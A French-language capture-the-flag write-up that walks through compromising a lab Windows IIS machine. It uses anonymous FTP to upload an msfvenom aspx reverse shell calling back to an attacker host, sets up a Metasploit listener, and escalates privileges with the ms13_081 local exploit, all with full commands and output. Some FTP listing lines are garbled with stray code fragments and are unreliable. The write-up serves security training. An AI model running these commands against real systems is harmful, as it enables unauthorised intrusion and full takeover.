



## Introduction

La machine distante est un Windows dont l'adresse IP est 10.10.10.5.

Compétences mises en œuvre :

- Enumération des ports et services.
- Exploration ftp.
- Reverse shell aspx.
- Elévation de privilège basique.

# Enumération

On commence l'énumération des ports et services avec **nmap** :

```
$ nmap 10.10.10.5
```

```
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM      <DIR>          aspnet_client
| 03-17-17 05:37PM      manager(arg1.txt) get_plugin_names() 689 iisstart.htm
|_ 03-17-17 05:37PM      loginLast      startswith(text:appet()) 184946 welcome.png
| ftp-syst:
|_ SYST: Windows_NT
80/tcp    open  http      Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/7.5
|_ http-title: IIS7
```

Deux ports sont ouverts, le **21** et le **80** pour les services **ftp** et **Microsoft IIS**. Lorsqu'un service **ftp** est présent, bien souvent cela nous donne l'occasion d'obtenir des identifiants/mot de passe ou des indices sur les technologies utilisées. Nous allons donc inspecter le port 21 en premier avec le compte **anonymous** :

```
$ ftp 10.10.10.5
ftp > ls
```

```
[ coffee ~ ]# ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 02:06AM      <DIR>          aspnet_client
03-17-17 05:37PM      types[] modules' self get_active_plugin 689 iisstart.htm
03-17-17 05:37PM      ethash() plugin getVersion() 184946 welcome.png
226 Transfer complete.
ftp>
```

Un dossier **aspnet\_client** est présent, cela veut dire que des scripts **aspx** peuvent être exécutés. Nous pouvons passer à la partie exploitation.

# Exploitation

Nous allons utiliser le binaire **msfvenom** pour générer un **reverse shell** en **aspx** et le transférer sur la machine victime via le **ftp** :

```
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.27 LPORT=4567 -f aspx > reverse.aspx
$ ftp 10.10.10.5
ftp > put reverse.aspx
```

```
[ coffee ~ ]# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.27 LPORT=4567 -f aspx > reverse.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of aspx file: 2825 bytes
[ coffee ~ ]# ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put reverse.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2861 bytes sent in 0.00184 seconds (1.48 Mbytes/s)
ftp>
```

Nous mettons alors un **listener** en place avec **metasploit** :

```
$ msfconsole
Msf > use multi/handler
Msf > set payload windows/meterpreter/reverse_tcp
Msf > set lhost 10.10.14.27
Msf > set lport 4567
Msf > set ExitOnSession false
Msf > run
```

Maintenant nous allons déclencher notre reverse shell en allant sur la page web suivant :

<http://10.10.10.5/reverse.aspx>

```
[*] Sending stage (176195 bytes) to 10.10.10.5
[*] Meterpreter session 2 opened (10.10.14.27:4567 -> 10.10.10.5:49159) at 2020-08-30 12:11:32 +0200

msf5 exploit(multi/handler) > sessions -l

Active sessions
=====
  Id  Name  Type  Information  Connection
  --  ---  --  -
  1    meterpreter x86/windows IIS APPPOOL\Web @ DEVEL 10.10.14.27:4567 -> 10.10.10.5:49158 (10.10.10.5)
  2    meterpreter x86/windows IIS APPPOOL\Web @ DEVEL 10.10.14.27:4567 -> 10.10.10.5:49159 (10.10.10.5)

msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >
```

# Élévation de privilège

Maintenant que nous avons un shell sur la machine, nous allons changer de répertoire courant et aller dans **C:\windows\temp** pour avoir un maximum de droit (écriture). Puis nous lançons le module d'élévation de privilège pour windows afin de savoir quels exploits sont susceptibles de fonctionner :

```
Meterpreter > run post/multi/recon/local_exploit_suggester
```

```
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 31 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_050_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tsubproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webday: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
meterpreter >
```

Après plusieurs tentatives, le module **ms13\_081\_track\_popup\_menu** fonctionna pour l'élévation de privilège :

```
Msf > use exploit/windows/local/ms13_081_track_popup_menu
Msf > set session 1
Msf > run
```

```
msf6 exploit(windows/local/ms13_081_track_popup_menu) > run

[*] Started reverse TCP handler on 10.10.14.27:4444
[*] Launching notepad to host the exploit...
[+] Process 2412 launched.
[*] Reflectively injecting the exploit DLL into 2412...
[*] Injecting exploit into 2412...
[*] Exploit injected. Injecting payload into 2412...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175174 bytes) to 10.10.10.5
[*] Meterpreter session 4 opened (10.10.14.27:4444 -> 10.10.10.5:49158) at 2020-08-30 20:38:24 +0200

meterpreter >
```

Maintenant nous pouvons aller lire les flags :

```
C:\> type "c:\Users\babis\Desktop\user.txt.txt"
C:\> type "c:\Users\Administrator\Desktop\root.txt.txt"
```

```
meterpreter > search -f user.txt.txt
Found 1 result...
  c:\Users\babis\Desktop\user.txt.txt (32 bytes)
meterpreter > search -f root.txt.txt
Found 1 result...
  c:\Users\Administrator\Desktop\root.txt.txt (32 bytes)
meterpreter > shell
Process 3352 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>type "c:\Users\babis\Desktop\user.txt.txt"
type "c:\Users\babis\Desktop\user.txt.txt"
9e1d16a2a1f21b12562fca70f1c13e8
c:\windows\system32\inetsrv>type "c:\Users\Administrator\Desktop\root.txt.txt"
type "c:\Users\Administrator\Desktop\root.txt.txt"
e621131501278870711f11720117214b
c:\windows\system32\inetsrv>
```